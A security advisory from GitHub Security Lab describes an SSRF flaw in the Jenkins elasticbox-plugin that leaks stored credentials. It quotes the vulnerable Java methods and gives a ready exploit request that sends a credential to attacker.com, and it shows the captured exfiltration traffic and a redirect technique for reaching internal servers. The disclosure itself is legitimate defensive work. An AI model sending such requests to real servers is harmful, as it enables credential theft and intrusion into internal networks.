Coordinated Disclosure Timeline

Summary

A Server-Side Request Forgery (SSRF) vulnerability in jenkinsci/elasticbox-plugin allows the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the endpointUrl parameter in multiple web methods such as SlaveConfiguration$DescriptorImpl#doGetInstances. These methods read arbitrary credentials from the credentials storage using hardcoded ACL.System permission and send them to attacker-controlled servers.

Product

elasticbox-plugin Jenkins plugin

Tested Version

5.0.1

Details

Arbitrary secret leakage via SSRF (GHSL-2023-069)

There are multiple methods affected by this vulnerability. We will focus on SlaveConfiguration$DescriptorImpl#doGetInstances but similar analysis also applies to:

Affected source code: SlaveConfiguration.java

public DescriptorHelper.JsonArrayResponse doGetInstances(@RelativePath("..") @QueryParameter String name,
                                                 @RelativePath("..") @QueryParameter String endpointUrl,
                                                 @RelativePath("..") @QueryParameter String credentialsId,
                                                 @QueryParameter String workspace,
                                                 @QueryParameter String box,
                                                 @QueryParameter String boxVersion) {
    return DescriptorHelper.getInstancesAsJsonArrayResponse(
            retrieveClientWithCredentials(name, endpointUrl, credentialsId),
            workspace, StringUtils.isBlank(boxVersion) ? box : boxVersion);
}

In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be (credentialsId) read and the server to send it to (endpointUrl). For example, to leak the FLAG credential to attacker.com the authenticated attacker would need to send the following request:

GET /jenkins/descriptorByName/com.elasticbox.jenkins.SlaveConfiguration/getInstances?endpointUrl=http%3A%2F%2Fattacker.com&credentialsId=FLAG&workspace=foo HTTP/1.1
Host: localhost:8080
Connection: close

Note, that since this request does not require any authentication and the request method is GET, an attacker can just send a link to a victim with access to the Jenkins server which, if clicked, will send the credentials to the attacker server.

The code responsible to read the arbitrary credentials is:

public static Authentication getAuthenticationData(String credentialsId) {
    if (StringUtils.isBlank(credentialsId) ) {
        return null;
    }
    Authentication authData = null;
    final StandardCredentials credentials = CredentialsMatchers.firstOrNull(
            CredentialsProvider.lookupCredentials(StandardCredentials.class, Jenkins.get(), ACL.SYSTEM, Collections.<DomainRequirement>emptyList() ), CredentialsMatchers.withId(credentialsId) );

    if (TokenCredentialsImpl.class.isInstance(credentials)) {
        TokenCredentialsImpl tokenCredentials = (TokenCredentialsImpl)credentials;
        authData = new TokenAuthentication(tokenCredentials.getSecret().getPlainText() );

    } else if (UsernamePasswordCredentials.class.isInstance(credentials)) {
        UsernamePasswordCredentials userPw = (UsernamePasswordCredentials)credentials;
        authData = new UserAndPasswordAuthentication(userPw.getUsername(),
                userPw.getPassword().getPlainText() );

    } else if (StringCredentialsImpl.class.isInstance(credentials)) {
        StringCredentialsImpl stringCredentials = (StringCredentialsImpl)credentials;
        authData = new TokenAuthentication(stringCredentials.getSecret().getPlainText() );
    }
    return authData;
}

As we can see in the code, regardless of the user privileges, the credentials are read with ACL.SYSTEM permissions.

Once the credentials are retrieved, they are sent back to the attacker-controlled server which will receive the following POST request:

POST /services/security/token HTTP/1.1
Content-Length: 45
Content-Type: application/json; charset=UTF-8
Host: nd4p07ts9raimbys6yff4pi45vbmzdu1j.oastify.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.6 (Java/11.0.16.1)
Accept-Encoding: gzip,deflate

{"email":"asdf","password":"SUPERSECRETFLAG"}

The plugin will receive the response from the attacker-controlled server and perform a new request including the response from the attacker-controlled server:

GET /services/workspaces/asdf/instances HTTP/1.1
Accept: application/json
ElasticBox-Token: <RESPONSE FROM FIRST RESPONSE>
ElasticBox-Release: 4.0
Host: nd4p07ts9raimbys6yff4pi45vbmzdu1j.oastify.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.6 (Java/11.0.16.1)
Accept-Encoding: gzip,deflate

An attacker can abuse this second request to leak the response of any internal servers. In order to do so they would have to send the request (or fool someone with access to the jenkins server to click on a malicious link) and then respond with a redirect to the internal server. The vulnerable plugin will follow the redirection, fetch the response from the internal server and include it in the ElasticBox-Token header sent back to the attacker.

This vulnerability was found using CodeQL’s SSRF Java query.

Impact

This vulnerability can lead to sensitive secret credentials leak and access to the internal network servers.

CVE

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-069 in any communication regarding this issue.